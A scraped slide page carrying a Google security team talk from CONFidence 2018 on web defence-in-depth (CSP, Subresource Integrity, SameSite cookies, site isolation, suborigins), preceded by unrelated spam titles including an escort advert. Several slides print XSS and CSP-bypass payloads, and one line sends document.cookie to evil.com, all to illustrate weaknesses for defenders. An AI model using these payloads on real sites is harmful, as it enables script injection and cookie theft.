ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 

CONFidence 2018: Defense-in-depth techniques for modern web applications and Google's journey with CSP (Lukas Weichselbaum, Michele Spagnuolo)

  • 2. About Us We work in a focus area of the Google security team (ISE) aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs. Michele Spagnuolo Senior Information Security Engineer Lukas Weichselbaum Senior Information Security Engineer
  • 3. Agenda ◉ Content Security Policy ◉ Subresource Integrity ◉ Same-Site Cookies ◉ Site Isolation, CORB & From-Origin ◉ Upcoming ○ Suborigins ○ Origin Policy ○ Feature Policy
  • 5. What is CSP? ◉ An HTTP header developers can use to lock down their web applications in various ways. ◉ A defense-in-depth mechanism - it reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
  • 6. CSP is NOT... ◉ A replacement for secure coding practices ◉ A mechanism to prevent data exfiltration
  • 7. The Complex World of CSP Lorem ipsum porta dolor sit amet nec Lorem ipsum dolor sit amet adipiscing. Donec risus dolor, porta venenatis neque pharetra luctus felis vel tellus nec felis. XSS ● Donec risus dolor porta ● Pharetra luctus felis ● Proin vel tellus in felis ● Molestie nec amet cum Lorem ipsum porta dolor sit amet nec Lorem ipsum dolor sit amet adipiscing. Donec risus dolor, porta venenatis neque pharetra luctus felis vel tellus nec felis. 28% ● Donec risus dolor porta ● Pharetra luctus felis ● Proin vel tellus in felis ● Molestie nec amet cum Lorem ipsum porta dolor sit amet nec Lorem ipsum dolor sit amet adipiscing. Donec risus dolor, porta venenatis neque pharetra luctus felis vel tellus nec felis. 36% ● Donec risus dolor porta ● Pharetra luctus felis ● Proin vel tellus in felis ● Molestie nec amet cum Lorem ipsum porta dolor sit amet nec Lorem ipsum dolor sit amet adipiscing. Donec risus dolor, porta venenatis neque pharetra luctus felis vel tellus nec felis. 17% ● Donec risus dolor porta ● Pharetra luctus felis ● Proin vel tellus in felis ● Molestie nec amet cum Lorem ipsum porta dolor sit amet nec Lorem ipsum dolor sit amet adipiscing. Donec risus dolor, porta venenatis neque pharetra luctus felis vel tellus nec felis. 61% ● Donec risus dolor porta ● Pharetra luctus felis ● Proin vel tellus in felis ● Molestie nec amet cum Defense-in-depth protection against XSS XSS ● Nonce-based CSP ● Hash-based CSP ● Whitelist-based CSP Directives - script-src - object-src - base-uri Defense-in-depth against UI-level attacks UI Directives - style-src Force HTTPS and block mixed-content HTTPS Directives - upgrade-insecure-requests - block-all-mixed-content Block everything BLOCK Directives - default-src 'none' Restrict frame ancestors and framing FRAME Directives - frame-ancestors - frame-src Lorem ipsum porta dolor sit amet nec Lorem ipsum dolor sit amet adipiscing. Donec risus dolor, porta venenatis neque pharetra luctus felis vel tellus nec felis. 61% ● Donec risus dolor porta ● Pharetra luctus felis ● Proin vel tellus in felis ● Molestie nec amet cum Prevent data-exfiltration DATA Directives - default-src - *-src
  • 8. CSP against XSS ◉ CSP is mostly used to mitigate XSS ◉ Most CSPs are based on whitelists ○ >94% automatically bypassable ◉ Introduced 'strict-dynamic' to ease adoption of policies based on nonces
  • 9. CSP against XSS ◉ Whitelist-based CSP (very weak) ○ script-src ajax.googleapis.com ◉ Nonce-based CSP ○ script-src 'nonce-r4nd0m' ◉ Hash-based CSP ○ script-src 'sha256-vbqjgmO/1eNbI...'
  • 10. ◉ Whitelist-based CSP ◉ Nonce-based CSP ◉ Hash-based CSP CSP against XSS
  • 11. Whitelist-Based CSP Example Content-Security-Policy default-src 'self'; script-src 'self' yep.com; report-uri /csp_violation_logger; money.example.com money.example.com yep.com <img src="cat.png"> <script src="//yep.com/x.js"> CSP allows CSP allows
  • 12. Whitelist-Based CSP Example Content-Security-Policy default-src 'self'; script-src 'self' yep.com; report-uri /csp_violation_logger; money.example.com money.example.co m yep.com attacker.com <img src="cat.png"> ">'><script>alert(42) </script> money.example.com/csp_violations_logger CSP blocks inline script not allowed <script src="//yep.com/x.js"> ">'><script src="//attacker.com"> CSP blocks source not whitelisted CSP allows CSP allows
  • 13. Whitelist-based CSP is broken "CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy" Proceedings of the 23rd ACM Conference on Computer and Communications Security, ACM, Vienna, Austria (2016)
  • 14. CSP Bypasses 'unsafe-inline' in script-src script-src 'self' 'unsafe-inline'; object-src 'none'; Bypass: ">'><script>alert(1337)</script> URL scheme/wildcard in script-src script-src 'self' https: data: *; object-src 'none'; Bypass: ">'><script src=data:text/javascript,alert(1337) ></script> Missing or lax object-src script-src 'none'; Bypass: ">'><object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/aj ax/libs/yui/2.8.0r4/build/charts/ass ets/charts.swf?allowedDomain="})))} catch(e){alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object> JSONP-like endpoint in whitelist script-src 'self' whitelisted.com; object-src 'none'; Bypass: ">'><script src="https://whitelisted.com/jsonp? callback=alert"> AngularJS library in whitelist script-src 'self' whitelisted.com; object-src 'none'; Bypass: "><script src="https://whitelisted.com/angular js/1.1.3/angular.min.js"></script><d iv ng-app ng-csp id=p ng-click=$event.view.alert(1337)> Missing base-uri script-src /foo.js; Bypass: ">'><base href="https://evil.com/">
  • 15. CSP against XSS ◉ Whitelist-based CSP ◉ Nonce-based CSP ◉ Hash-based CSP
  • 16. script-src 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'; CSP based on nonces ▷ all <script> tags with the correct nonce attribute will get executed ▷ <script> tags injected via XSS will be blocked because of missing nonce ▷ no host/path whitelists ▷ no bypasses caused by JSONP-like endpoints on external domains ▷ no need to go through painful process of crafting/maintaining whitelist This part needs to be random for every response! Recap: How do CSP Nonces Work?
  • 18. money.example.com attacker.com ">'><script>alert(42) </script> money.example.com/csp_violations CSP blocks script without correct nonce ">'><script src="//attacker.com"> CSP blocks source neither nonced nor whitelisted Content-Security-Policy: yep.com <script nonce="r4nd0m"> doStuff();</script> <script nonce="r4nd0m" src="//yep.com/x.js"> CSP allows CSP allows script-src 'nonce-r4nd0m'; report-uri /csp_violation; Recap: How do CSP Nonces Work?
  • 19. script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'; ▷ grant trust transitively via a one-use token (nonce) instead of listing whitelisted origins ▷ 'strict-dynamic' in a script-src: ○ discards whitelists (for backward-compatibility) ○ allows JS execution when created via e.g. document.createElement('script') Recap: What is 'strict-dynamic'?
  • 20. script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'; <script nonce="r4nd0m"> var s = document.createElement("script"); s.src = "//example.com/bar.js"; document.body.appendChild(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.write(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.body.innerHTML = s; </script> Recap: What is 'strict-dynamic'?
  • 21. Nonce based CSP + strict-dynamic + unsafe-eval | Level 1 Nonce/Hash based CSP | Level 3 Nonce based CSP + strict-dynamic | Level 2 Step by step towards a stricter CSP Security Guarantees Deployment Difficulty Whitelist based + secure in absence of browser bugs + eval() based XSS mitigated + no CSP whitelist bypasses + reflected/stored XSS mitigated + javascript: URI XSS mitigated + easy to deploy w. auto-noncing templates  most DOM XSS mitigated
  • 22. Nonce based CSP + strict-dynamic + unsafe-eval | Level 1 Nonce/Hash based CSP | Level 3 Nonce based CSP + strict-dynamic | Level 2 Step by step towards a stricter CSP Security Guarantees Deployment Difficulty script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-eval' object-src 'none'; base-uri 'none'; script-src 'nonce-r4nd0m' 'strict-dynamic' object-src 'none'; base-uri 'none'; script-src 'nonce-r4nd0m' object-src 'none'; base-uri 'none'; Whitelist based
  • 23. New features in CSP 3 unsafe-hashed-attributes Aims to make CSP deployment simpler by allowing developers to enable specific inline JS handlers via hashes. <button id="action" onclick="doSubmit()"> script-src 'unsafe-hashed-attributes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
  • 24. New features in CSP 3 unsafe-inline-attributes (proposal) Aims to block attacks using <style> blocks like the CSS-keylogger* The ‘unsafe-inline-attributes’ keyword behaves similarly to ‘unsafe-inline’ but only for attributes. <button id="action" style="color:green"> style-src 'unsafe-inline-attributes' 'nonce-rAnd0m' * https://github.com/maxchehab/CSS-Keylogging
  • 25. Why not use CSP to prevent data exfiltration? ◉ TL;DR - Game over once attacker can execute JS ◉ Too many ways to exfiltrate data ◉ E.g. links are not subject to CSP: document.write("<a id='foo' href='//evil.com/"+document.cookie+"'></a>"); document.getElementById("foo").click(); ◉ Other examples: postMessage, DNS prefetch, window.open 

  • 27. CSP adoption at Google ● Currently CSP is enforced on ○ over 50% of outgoing traffic ○ > 30 domains with 100% coverage ○ most sensitive web applications (Login, Gmail, Docs, ...) ● Goal ○ Enforced in all new & sensitive applications ○ Nonce only CSPs (no unsafe-eval, no strict-dynamic) for sensitive applications Google-wide strict CSP coverage
  • 28. CSP Tools and Infrastructure csp-evaluator.withgoogle.com
  • 29. CSP Tools and Infrastructure
  • 31. What is SRI? Ensures that resources hosted on third-party servers have not been tampered with by specifying a hash of their expected content. <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
  • 34. What are Same-Site Cookies? The SameSite flag in cookies allows servers to mitigate the risk of XSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same site.
  • 35. What are Same-Site Cookies? Set-Cookie: <cookie-name>=<cookie-value>; SameSite={Strict, Lax} Strict Cookies are not sent when there is cross-site navigation Lax Cookies are not sent when there is cross-site navigation and an "unsafe" HTTP method such as POST
  • 36. Browser support for Same-Site Cookies
  • 37. Site Isolation, CORB & From-Origin
  • 38. What is Site Isolation? A Chromium browser setting ensuring that pages from different websites are put into different processes and blocking the process from receiving sensitive data from other sites.
  • 39. What is CORB? (was XSDB) An important part of Site Isolation restricting which cross-origin data is sent to a renderer process, limiting the access to such data using speculative side-channel attacks like Spectre. Example: loading cross-origin HTML in <img>.
  • 40. What is From-Origin? (proposal) Prevents resources from being loaded and included by non-whitelisted origins. Mitigates inline linking and attacks such as Spectre.
  • 42. Suborigins (proposal) Isolate different applications running in the same origin by adding to a response a server-specified namespace to the origin tuple: (scheme, host, port, namespace) https://w3c.github.io/webappsec-suborigins/
  • 43. Use cases of Suborigins ◉ Per-user origins ◉ Segregating user content from the main origin ◉ Isolate sensitive functionalities ○ /wp-admin/ ○ /password_reset
  • 44. Adopting Suborigins Communication type Solution Suborigin to Suborigin Add Suborigin header Suborigin to Origin Add Access-Control-Allow-Suborigin Suborigin to Extern Fix Access-Control-Allow-Origin DEMO
  • 45. Origin Policy (proposal) Applies: ● Content Security Policy ● Referrer Policy ● other policies to an entire origin, by default (like "pinning"). It complements header-based delivery, increasing coverage.
  • 46. Feature Policy (proposal) Selectively enables and disables different browser features and web APIs (from the ability to go fullscreen to disabling WebUSB). Example: in combination with Origin Policy, restrict geolocation API to a particular page, reducing attack surface in case of XSS on the domain.
  • 47. Questions? You can find us at: {lwe,mikispag}@google.com @we1x, @mikispag